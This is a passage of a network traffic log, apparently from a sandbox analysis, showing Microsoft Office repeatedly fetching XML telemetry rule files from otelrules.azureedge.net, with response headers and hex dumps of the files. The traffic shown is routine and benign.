2024-11-20 05:40:40 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49909	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:39 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:40 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:40 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 85bacdce-f01e-003f-758c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054040Z-185f5d8b95cdh56ghC1NYCk1x400000003n000000000bcp7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:40 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	49907	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:39 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:40 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:40 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: b82dd3a8-b01e-0053-0e8c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054040Z-185f5d8b95cdcwrthC1NYCy5b800000009wg000000000ch5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:40 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	49918	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:40 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:40 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:40 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 270c2d5d-601e-00ab-2f8c-3a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054040Z-1777c6cb754b7tdghC1TEBwwa4000000095g00000000mhah x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:40 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49922	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:40 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:40 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:40 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: d5dea27c-d01e-00ad-3c8c-3ae942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054040Z-r1d97b99577l6wbzhC1TEB3fwn00000008m0000000004qqg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:40 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49923	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:40 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:40 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:40 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 0c3517a5-201e-0003-7a8c-3af85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054040Z-185f5d8b95cp7lkfhC1NYC7rpw00000009yg00000000817c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 05:40:40 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49921	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:40 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:40 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:40 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 073925de-a01e-0032-2d8c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054040Z-185f5d8b95c96jn4hC1NYCbgp800000009v0000000005sft x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:40 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49920	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:40 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:40 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:40 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 5a5a1706-c01e-0079-6c8c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054040Z-1777c6cb754lv4cqhC1TEB13us000000096g000000004ta8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:40 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	49931	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:41 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:41 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:41 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 1afac609-801e-00a3-2b8c-3a7cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054041Z-185f5d8b95c68cvnhC1NYCfn7s00000009qg00000000nmcw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:41 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49932	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:41 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:41 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:41 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: bfe6eb71-201e-006e-168c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054041Z-r1d97b99577656nchC1TEBk98c00000008kg000000000s4z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 05:40:41 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49933	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:41 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:41 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:41 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 0092d5d1-d01e-00a1-5b05-3b35b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054041Z-1777c6cb754b7tdghC1TEBwwa400000009cg0000000015wc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 05:40:41 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49934	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:41 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:41 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:41 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 4ac405f8-001e-002b-168c-3a99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054041Z-1777c6cb7544n7p6hC1TEByvb4000000099g000000009vug x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:41 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49935	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
